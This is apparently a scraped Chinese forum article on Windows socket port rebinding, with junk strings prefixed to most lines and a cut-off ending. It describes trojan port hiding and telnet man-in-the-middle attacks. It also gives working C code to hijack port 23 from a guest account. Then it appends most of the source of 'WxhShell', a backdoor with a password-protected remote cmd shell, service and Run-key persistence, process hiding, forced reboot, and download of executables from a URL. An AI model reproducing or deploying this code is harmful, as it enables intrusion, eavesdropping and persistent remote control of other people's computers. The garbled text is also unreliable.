在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
ZU`~@.`i s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
skTaIGRL ,O:p`"3`0= saddr.sin_family = AF_INET;
8;c\}D WS(m#WFQr saddr.sin_addr.s_addr = htonl(INADDR_ANY);
6#K.n&=* {<gX~./]c bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
IMMsOl xfC$u`e= 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
N#)Klq87z 3O1Lv2)_ 这意味着什么?意味着可以进行如下的攻击:
U:eX^LE7 Q=vo5)t 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
br
3-.g ycki0&n3 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
P2iuB|B@ P$N5j~* 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
@qjN>PH~ c;-NRvVb 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
*B{] 0T#z"l<L 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
,_w}\'?L ? u".*!% 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
f8qDmk5s bwP@}(K 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
[cZ/)tm ) R5j?6}xF #include
s'l|Ii #include
\w1',"l` #include
?OoI63& #include
.f;@OqU DWORD WINAPI ClientThread(LPVOID lpParam);
u*uHdV5 int main()
dn?'06TD {
ips)-1 WORD wVersionRequested;
p[At0Gc
L DWORD ret;
V
EsM WSADATA wsaData;
Dd/]?4 BOOL val;
9n_RkW5g SOCKADDR_IN saddr;
=A{'57yP SOCKADDR_IN scaddr;
*)I^+zN int err;
>+.GBf<E SOCKET s;
iS<1C`%> SOCKET sc;
UWS 91GN@ int caddsize;
m-;8O / HANDLE mt;
}Y!s:w# DWORD tid;
?MmQ'1N wVersionRequested = MAKEWORD( 2, 2 );
)p> p3b g err = WSAStartup( wVersionRequested, &wsaData );
u>agVB4\F if ( err != 0 ) {
w'$>E4\ printf("error!WSAStartup failed!\n");
+ug/%Iay{k return -1;
Ygkf}n }
_y>drvg saddr.sin_family = AF_INET;
$F X$nY yM9>)SE5` //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
~UQ<8`@a 5!$sQ@#}D saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
v,ni9DIu saddr.sin_port = htons(23);
O7LJ-M if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
-b8SaLak {
!
9*l!( printf("error!socket failed!\n");
(4yXr|to} return -1;
d7QUg6= }
s"w^E\>6 val = TRUE;
GE=S.P; //SO_REUSEADDR选项就是可以实现端口重绑定的
@"/H
er if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
'73}{" ' {
Qy4Pw\ printf("error!setsockopt failed!\n");
!v9`oL26 return -1;
'/9MN;_ }
wxj}k7_(`A //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
QfPw50N; //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
@W
@,8e]c //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
zw$\d1-+h mJ5%+.V if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
Iw(
wT_ {
4!xRA '' ret=GetLastError();
`v<S printf("error!bind failed!\n");
1{d;Ngx return -1;
hgE:2@ }
s~B)xYmyB' listen(s,2);
vUO[V$rx while(1)
@]}/vsI m {
_Ye.29 caddsize = sizeof(scaddr);
P0OMu/ //接受连接请求
H]wP\m) sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
T3SFG]H if(sc!=INVALID_SOCKET)
yENAc sv {
?Ov~\[) F mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
T@#?{eA if(mt==NULL)
<ME>#, {
0YfmAF$/ B printf("Thread Creat Failed!\n");
+|pYu<OY break;
iCh8e>+ }
rLmc(-q }
7,Z<PE CloseHandle(mt);
p8YOow7) }
6|3 X*Orn closesocket(s);
NRT]dYf"z WSACleanup();
,C0y3pL return 0;
es%py~m) }
S<'_{u z DWORD WINAPI ClientThread(LPVOID lpParam)
Q2woCxB {
3c wBPqH SOCKET ss = (SOCKET)lpParam;
#;@I. SOCKET sc;
a$^)~2U{ unsigned char buf[4096];
R~[~(`/S SOCKADDR_IN saddr;
2Kr>93O long num;
}opMf6`w DWORD val;
HUCJA-OZGL DWORD ret;
>py[g0J //如果是隐藏端口应用的话,可以在此处加一些判断
o~"Y_dLsW //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
5_L,7\5# saddr.sin_family = AF_INET;
vZ$E
[EG} saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
FyPG5- saddr.sin_port = htons(23);
qIQ
61>< if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
VQG$$McJ {
VSV]6$~H printf("error!socket failed!\n");
YPY,gR return -1;
]$^HGmP }
ME]89 T& val = 100;
98?O[= if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
-J#RGB{7 {
-m>3@"q ret = GetLastError();
=Bm|9A1 return -1;
\ )>#`X }
IqsUtWSp if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
'!?t+L%gO {
>g~IP> ret = GetLastError();
t#y,9>6 return -1;
6Bcr.` }
}oSgx if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
$G }9iV7 {
h# Z,ud_ printf("error!socket connect failed!\n");
P2C>IS closesocket(sc);
"XLtrAu{ closesocket(ss);
K[/L!.Ag return -1;
"_dg$j`Y&& }
/]-yZ0hX0O while(1)
>BK/HuS {
6Uq;]@k% //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
iD])E/ //如果是嗅探内容的话,可以再此处进行内容分析和记录
e<a*@
P, //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
>#l:]T num = recv(ss,buf,4096,0);
-%%Xx5D if(num>0)
Sj|tR[SAoD send(sc,buf,num,0);
*!*%~h8V else if(num==0)
XE2rx2k break;
.oTS7rYw num = recv(sc,buf,4096,0);
e"bzZ!c&~V if(num>0)
L$s ENOm send(ss,buf,num,0);
^ACrWk~UY else if(num==0)
J-uQF| break;
|s(Ih_Zn }
4E2/?3D closesocket(ss);
!]D`|HoW closesocket(sc);
r7R.dD/. return 0 ;
dPf7o
}
mv~?1aIKD &nI>`Q' Qo^(r$BD ==========================================================
I_Gz~ qk6 mD&I6F[s 下边附上一个代码,,WXhSHELL
%eIaH!x: wF% RM$ ==========================================================
fc<y(uX 3"v>y]$U #include "stdafx.h"
']I!1>v$[ K{`R`SXD #include <stdio.h>
lA1 #include <string.h>
y06**f) #include <windows.h>
Tbv w?3 #include <winsock2.h>
,c?(
|tF #include <winsvc.h>
$ xHtI]T #include <urlmon.h>
^E8qI8s -mh"["L" #pragma comment (lib, "Ws2_32.lib")
]$9y7Bhj. #pragma comment (lib, "urlmon.lib")
Ml{
]{n 8-k`"QI= #define MAX_USER 100 // 最大客户端连接数
Xy!NBh7I #define BUF_SOCK 200 // sock buffer
$0 vT_ #define KEY_BUFF 255 // 输入 buffer
oD\t4]?E 2Vf242z_ #define REBOOT 0 // 重启
@n.n[zb\| #define SHUTDOWN 1 // 关机
i|AWaG) Aaq%'07ihW #define DEF_PORT 5000 // 监听端口
I=<Qpd4 i '*!c #define REG_LEN 16 // 注册表键长度
n^hkH1vY #define SVC_LEN 80 // NT服务名长度
>1Hv c7DP 8zlvzp // 从dll定义API
G7v<Q,s typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
iDl#foXa` typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
oPni4^g i typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
zaLPPm&f typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
}+pwSjsno D&o\q68W // wxhshell配置信息
x0ipk} struct WSCFG {
+L.D3 int ws_port; // 监听端口
K?!W9lUq char ws_passstr[REG_LEN]; // 口令
_E'}8.#{ int ws_autoins; // 安装标记, 1=yes 0=no
V]+y*b.60 char ws_regname[REG_LEN]; // 注册表键名
Y~{<Hs char ws_svcname[REG_LEN]; // 服务名
%g@\SR. char ws_svcdisp[SVC_LEN]; // 服务显示名
DC1.f(cdR char ws_svcdesc[SVC_LEN]; // 服务描述信息
I%Yq86 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
u%yYLpaKf int ws_downexe; // 下载执行标记, 1=yes 0=no
qGMU>J.;c char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
Xa#.GrH6 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
AH/o-$C& UQ;2g\([ };
Ay 4P_>^ !m9hL>5vR // default Wxhshell configuration
rEC struct WSCFG wscfg={DEF_PORT,
00dY?d{[D "xuhuanlingzhe",
]cS(2hP7 1,
a)=|{QR>W "Wxhshell",
(?^ F }] "Wxhshell",
kBrA ? "WxhShell Service",
F!u)8>s+z{ "Wrsky Windows CmdShell Service",
IO
0nT "Please Input Your Password: ",
1y1:<t 1,
'kC#GTZi "
http://www.wrsky.com/wxhshell.exe",
#\^=3A|b "Wxhshell.exe"
phf{b+'#X };
'/6f2[%Y" &I8DK).M+ // 消息定义模块
Wex2Fd?DO char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
ED79a: char *msg_ws_prompt="\n\r? for help\n\r#>";
U!c+i#:t char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
A- Abj' char *msg_ws_ext="\n\rExit.";
R13k2jLSQ char *msg_ws_end="\n\rQuit.";
JeNX5bXW char *msg_ws_boot="\n\rReboot...";
% 33O)<? char *msg_ws_poff="\n\rShutdown...";
pt3)yj&XE char *msg_ws_down="\n\rSave to ";
&g23tT#P? Fv
%@k{ char *msg_ws_err="\n\rErr!";
?6&G:Uz/ char *msg_ws_ok="\n\rOK!";
KGo^>us 8,[ *BgeX char ExeFile[MAX_PATH];
.JB1#&B+ int nUser = 0;
F*Hovxez HANDLE handles[MAX_USER];
Vjt7X"_/ int OsIsNt;
tx9%.)M:n tKLeq( SERVICE_STATUS serviceStatus;
MnF|'t SERVICE_STATUS_HANDLE hServiceStatusHandle;
2}/r>]9^- - ry // 函数声明
Yu_
eCq5/ int Install(void);
(2L,m int Uninstall(void);
C(B"@ int DownloadFile(char *sURL, SOCKET wsh);
Q$]1juqg int Boot(int flag);
GBRiU&D void HideProc(void);
/|UbYe, int GetOsVer(void);
oPa oQbR(A int Wxhshell(SOCKET wsl);
vf<Dqy <M. void TalkWithClient(void *cs);
rKslgZhQ int CmdShell(SOCKET sock);
@jMo/kO/A int StartFromService(void);
-X7x~x- int StartWxhshell(LPSTR lpCmdLine);
uaKbqX V(0Y VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
bf2n%-&9g VOID WINAPI NTServiceHandler( DWORD fdwControl );
H*3u]Ebh Q#ksf
h!D // 数据结构和表定义
DA>nYj-s SERVICE_TABLE_ENTRY DispatchTable[] =
piIz ff {
>d]-X] {wscfg.ws_svcname, NTServiceMain},
-#/DK {NULL, NULL}
]:?S}DRG };
$E^sA|KcT rDoMz3[w // 自我安装
1EQ:@1 int Install(void)
Lk#)VGk: {
u #}1
M char svExeFile[MAX_PATH];
e@Ev'] HKEY key;
PX&}g-M9 strcpy(svExeFile,ExeFile);
1(# H% ,Fkq/h // 如果是win9x系统,修改注册表设为自启动
#`%S[)RT if(!OsIsNt) {
A=|a!N/ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
P(8
u L|^ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
|P|2E~[r RegCloseKey(key);
&Fuk+Cu{ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Zj ` ;IYFG RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
fB]2"( RegCloseKey(key);
OiZ-y7;k^ return 0;
'@#(jY0_ }
~-lUS0duh }
)c9Xp: }
uBg#zx else {
W
wj+\ lnjs{`^ // 如果是NT以上系统,安装为系统服务
"10\y{`v^ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
KV&6v`K/N if (schSCManager!=0)
z~p!7q&g {
7^! zT SC_HANDLE schService = CreateService
Xg_l4!T_l (
iY2q^z/S schSCManager,
q^wSM wscfg.ws_svcname,
Hi~)C \ wscfg.ws_svcdisp,
G^K;+& T SERVICE_ALL_ACCESS,
4K`b?{){+a SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
eUCBQK SERVICE_AUTO_START,
Bv3B|D&+ SERVICE_ERROR_NORMAL,
#sjGju"#_ svExeFile,
l"X,[ NULL,
5pY|RV6: NULL,
A(`Mwh+ NULL,
ax;<idC} NULL,
!~'D;Jh NULL
5{1=BZftZ );
Zn)o@'{}{ if (schService!=0)
-}oH],C {
]qq2VO<b CloseServiceHandle(schService);
.Sa=VC?EZ CloseServiceHandle(schSCManager);
0Db=/sJ> strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
HEa7!h[a' strcat(svExeFile,wscfg.ws_svcname);
zYdieE\- if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
,`a8@ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
Em{;l:;(W RegCloseKey(key);
W}zq9|p return 0;
3?_%|;ga }
'BgR01w J }
z/QYy)_j CloseServiceHandle(schSCManager);
i7 YUyU }
OR|Jc+LT }
b~)2`l E|_8#xvb return 1;
c`lL&*] }
/FPO'} 6i [GI2%uA0 // 自我卸载
sVmqx^- int Uninstall(void)
*u,&?fCl {
I7Abf7>*Q HKEY key;
5t_Dt<lIz 6iEg]FI if(!OsIsNt) {
@/$i
-?E if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
!>Q\Y`a,* RegDeleteValue(key,wscfg.ws_regname);
^vxNS[C`; RegCloseKey(key);
? }`mQ <~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
==%5Ci7qMy RegDeleteValue(key,wscfg.ws_regname);
e8(Qx3T?b RegCloseKey(key);
j*f\Z!EeZ return 0;
uXUuA/O5- }
,->5 sJ{U }
/f+BeQ3#/ }
l)jP!k else {
{36N=A -*J!Ws(9 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
akCCpnX_d if (schSCManager!=0)
WI&}94w {
j:2F97 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
>/%XP_q%`e if (schService!=0)
}rs>B,=*k {
RVs=s}|>* if(DeleteService(schService)!=0) {
psz0q| CloseServiceHandle(schService);
:+
1Wmg CloseServiceHandle(schSCManager);
$ZB`4!JxG return 0;
W* v3B. }
A>FWvlLw'm CloseServiceHandle(schService);
N
Mx:Jh-YN }
Y!Io @{f CloseServiceHandle(schSCManager);
m$pRA0s2` }
;7H^;+P }
+/ M%%:>mY @*=5a(# return 1;
d(b~s2\i }
U+E9l?4R n3-VqYUP // 从指定url下载文件
1O,8=,K2a int DownloadFile(char *sURL, SOCKET wsh)
S>j.i {
R)isWw4 HRESULT hr;
6P,uy;PJ char seps[]= "/";
AKk& char *token;
HN5,MD[ char *file;
qFq$a9w|@ char myURL[MAX_PATH];
WoNY8
8hT char myFILE[MAX_PATH];
]-SJ";aU "o_'q@.} strcpy(myURL,sURL);
"oF)u1_? token=strtok(myURL,seps);
=1
S%E while(token!=NULL)
Wa&!1'
@ {
ub`zS-vb file=token;
Jm< uE]9 token=strtok(NULL,seps);
uq54+zC }
]0|A\bE\S 1_Av_X GetCurrentDirectory(MAX_PATH,myFILE);
B/!/2x strcat(myFILE, "\\");
\W=
qqE] strcat(myFILE, file);
fWi/mK3c send(wsh,myFILE,strlen(myFILE),0);
V s=o@ send(wsh,"...",3,0);
?Drq!?3PDc hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
Ve)BF1YG if(hr==S_OK)
qn |~YXn return 0;
cKoW5e|u else
@tD (<*f+ return 1;
m_`%#$s} 'lu3BQvfh }
S QGYH Un
T\6u // 系统电源模块
r=54@`O! int Boot(int flag)
SR?(z {
%&V%=-O_7 HANDLE hToken;
S)4p'cUwq TOKEN_PRIVILEGES tkp;
HTvUt*U1 _)~VKA]"" if(OsIsNt) {
?~yJ7~3TS< OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
5wl;fL~e LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
#5'&
|< tkp.PrivilegeCount = 1;
``6- tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
Nv6"c<(L= AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
<dr2 bz if(flag==REBOOT) {
D&~%w! if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
Vry_X2 return 0;
HSAr6h }
6h %rt]g else {
wp>
z04
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
@>V;guJC% return 0;
DZ`m{l3H }
YgS,5::SU }
<c!gg7@pm else {
v7`{6Pf_$ if(flag==REBOOT) {
4i+%~X@p if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
N>]J$[j
return 0;
#k`gm)| }
8?YeaMIBB else {
q(~|roKA( if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
jI H^ return 0;
jiLJiYMg }
"dvo@n| }
S9r+Nsn PB8g4-?p6 return 1;
n+YUG }
ecQ,DOX|b 10OkrNQ // win9x进程隐藏模块
uKvdL
" void HideProc(void)
X;l/D},. {
woBx609Aak ;DR5?N/a HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
Fkq^2o
] if ( hKernel != NULL )
_nxH;Za {
T&b_*)=S pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
FoH1O+e ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
c-n/E. E FreeLibrary(hKernel);
e
t@:-} }
#(i
pF ~a&VsC# return;
J|%bRLX@> }
-)}Z
$;1a `.3@Ki~$# // 获取操作系统版本
/7:+.#Ag` int GetOsVer(void)
fmc\Li {
5$N#=i`V OSVERSIONINFO winfo;
e3~{l~Rb winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
<'SS IMr GetVersionEx(&winfo);
%9Z0\
a)[ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
kw]?/s` return 1;
Z[ (d7 else
NVsaV;u return 0;
~T-uk }
ar}-~~h 5 7Zdg314 // 客户端句柄模块
-57~7
<N int Wxhshell(SOCKET wsl)
9:-7.^`P {
}f?[m&< SOCKET wsh;
ka8Y+Gs struct sockaddr_in client;
f% )9!qeW DWORD myID;
cBZEyy& 0`-b57lF& while(nUser<MAX_USER)
DZnqCu"J {
_ezRE"F5 int nSize=sizeof(client);
Y|Gp\
wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
qq)}GK8K& if(wsh==INVALID_SOCKET) return 1;
xdM'v{N#m LbRQjwc]W handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
HG?+b if(handles[nUser]==0)
i$PO#} closesocket(wsh);
#ye`vD else
ljOY;WV3 nUser++;
"`4ky] }
mTxqcQc:7 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
N!3Tg564j z8JW iRn return 0;
F@f4-NR> }
-D'XxOI &0-oi Y // 关闭 socket
JcmJq
fR void CloseIt(SOCKET wsh)
Dm5 Uy^F} {
Y7r;}^+WY closesocket(wsh);
}l[e@6r F nUser--;
U$& '> %# ExitThread(0);
>Bf3X&uS }
2%`=
LGQC G:tY1'5 // 客户端请求句柄
P~=yTW void TalkWithClient(void *cs)
|vl~B|", {
}_XiRm< w]{c*4o SOCKET wsh=(SOCKET)cs;
x;z=[eE char pwd[SVC_LEN];
Z/ jmi char cmd[KEY_BUFF];
?{^_z_, char chr[1];
-mG`* 0 int i,j;
p$'S\W| vJ^~J2#5 while (nUser < MAX_USER) {
'g,h ^4^N} 7>5 if(wscfg.ws_passstr) {
7_76X)gIV if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
~i>DF`w$ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
!W@mW
5J| //ZeroMemory(pwd,KEY_BUFF);
x"NQatdq i=0;
86Q3d%;-yo while(i<SVC_LEN) {
2J&~b 8 : >WDHRC // 设置超时
kex V~Q fd_set FdRead;
Y'iyfnk struct timeval TimeOut;
Xi[]8o FD_ZERO(&FdRead);
!uW*~u FD_SET(wsh,&FdRead);
VYkh@j TimeOut.tv_sec=8;
Z,E$4Z TimeOut.tv_usec=0;
6` TwP\!$/ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
.
c+m(Pk if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
0ck3II }" vxYB!h3 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
Qa )+Tv pwd
=chr[0]; 2WFZ6
if(chr[0]==0xd || chr[0]==0xa) { $a*7Q~4
pwd=0; 7N[".V]c
break; NOXP}M
} lsOv#X-bE
i++; PD0&ep1h7G
} :! oJmvy
208^Yu
// 如果是非法用户,关闭 socket l X+~; 94
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); i`r`Fj}-S-
} BL16?&RK
4F#H$`:[
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 3U{
mC}F
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); d,98W=7
',0:/jSz
while(1) { m.Zy$SDj(
y2#>a8SRS
ZeroMemory(cmd,KEY_BUFF); nJN-U+)u
dnoF)(d&Cm
// 自动支持客户端 telnet标准 \~E?;q!
j=0; O?Bf (y
while(j<KEY_BUFF) { v7
*L3Ol
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); nXLz<wE
cmd[j]=chr[0]; j}ob7O&U'w
if(chr[0]==0xa || chr[0]==0xd) { 0@-4.IHl
cmd[j]=0; FDLo|aP/v
break; 6-_g1vq
} zY_J7,0g
j++; *O~y6|U?
} JfN
'11,$
y%i9 b&gDd
// 下载文件 Qq`S=:}~x
if(strstr(cmd,"http://")) { rz%~=Ca2j
send(wsh,msg_ws_down,strlen(msg_ws_down),0); :C} I6v=
if(DownloadFile(cmd,wsh)) lK=Is
v+
send(wsh,msg_ws_err,strlen(msg_ws_err),0); u_^mN9h
else IRm}?hHf
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,Zn6T"[$
} H%vfRl3rB
else { >S7t
k;+TN9
switch(cmd[0]) { ;um)JCXz
BJux5Nh
// 帮助 r{R<J?Y
case '?': { .t1:;H b
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); w{*kbGB8s7
break; KSchgon0V
} <!Cjq,Sk7
// 安装 h$'6."I
case 'i': { 6U*CR=4
if(Install()) l!x+K&
send(wsh,msg_ws_err,strlen(msg_ws_err),0); zX_F+"]THt
else O3o^%0
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);
Xs052c|s
break; kJ5z['4?
} mxgT}L0i
// 卸载 t8-Nli*O
case 'r': { )hrsA&1w
if(Uninstall()) $WIVCp
send(wsh,msg_ws_err,strlen(msg_ws_err),0); \nEMj,)
else RBrb7D{
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =Q(J!f
break; !~vK[G(R
} PG63{
// 显示 wxhshell 所在路径 i;1pw_K
case 'p': { @FN|=?8%
char svExeFile[MAX_PATH]; nKm#
kb
strcpy(svExeFile,"\n\r"); p [C
9g
strcat(svExeFile,ExeFile); 0 MK}
send(wsh,svExeFile,strlen(svExeFile),0); 5VTVx1P[8
break; aG
}oI!
} /(JG\Ut
// 重启 -n 9&W
case 'b': { ^\ x'4!W
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); fY&TI}Y
if(Boot(REBOOT)) #!F>cez
send(wsh,msg_ws_err,strlen(msg_ws_err),0); xA
Ez1
else { S<i1t[E@W
closesocket(wsh); }?,?2U,8:
ExitThread(0); %JE>Z]
} xkDK5&V
break; \PxT47[@e
} N=\zx^w,
// 关机 <4Gy~?
case 'd': { Nf )YG!
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); v=@y7P1
if(Boot(SHUTDOWN)) r5~W/eE
send(wsh,msg_ws_err,strlen(msg_ws_err),0); @bA5uY!
else { $@'BB=i
closesocket(wsh); X3}eq|r9
ExitThread(0); \:J=tAC
} c},pu[nL
break; 5FR#CQ
} x9Z89Gwi
// 获取shell XZKlE
F?
case 's': { 3Qe|'E,U
CmdShell(wsh); P'qBqx[
closesocket(wsh); L6_%SGY_iE
ExitThread(0); s<{ Hu0K$
break; V gMgeja
} ]_h3
// 退出 I%J>~=]n_
case 'x': { VH]}{i"`
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Vr},+Rj
CloseIt(wsh); -NJpql{Cb
break; <9,h!
} ! eZls
// 离开 jXeE]A"
case 'q': { g{DehBM
send(wsh,msg_ws_end,strlen(msg_ws_end),0); D:Q#%wJ
closesocket(wsh); {d[Nc,AMb
WSACleanup(); 7_2D4CI
exit(1); <Ja&z M
break; eI:[o
} gFp3=s0~
} OCrTzz8
} /7D5I\
^Q`5+
// 提示信息 XA!a^@<H
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :o8`2Z *g
} eP]y\S*P
} D@La-K*5
o5s6$\"
return; +H3~Infr4f
} C!^A\T7p
ch8VJ^%Ra1
// shell模块句柄 {*O%A
int CmdShell(SOCKET sock) -]0:FKW
{ ,CyX*k8o
STARTUPINFO si; v<v;Z R)
ZeroMemory(&si,sizeof(si)); O6Py
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; h&j2mv(
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; $^fF}y6N
PROCESS_INFORMATION ProcessInfo; s-rc0:I
char cmdline[]="cmd"; f DXK<v)
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); /^xv1F{
return 0; 29J|eBvxx
} :<P4=P P
I]eeV+U8W
// 自身启动模式 hhPQ.{]>
int StartFromService(void) G K~A,Miqk
{ xH2'PEjFM
typedef struct ^)9/Wz _x
{ G06;x
DWORD ExitStatus; &$|~",
DWORD PebBaseAddress; bWA_a]G
DWORD AffinityMask; b~&cYk'
DWORD BasePriority; 7Y@]o=DIc
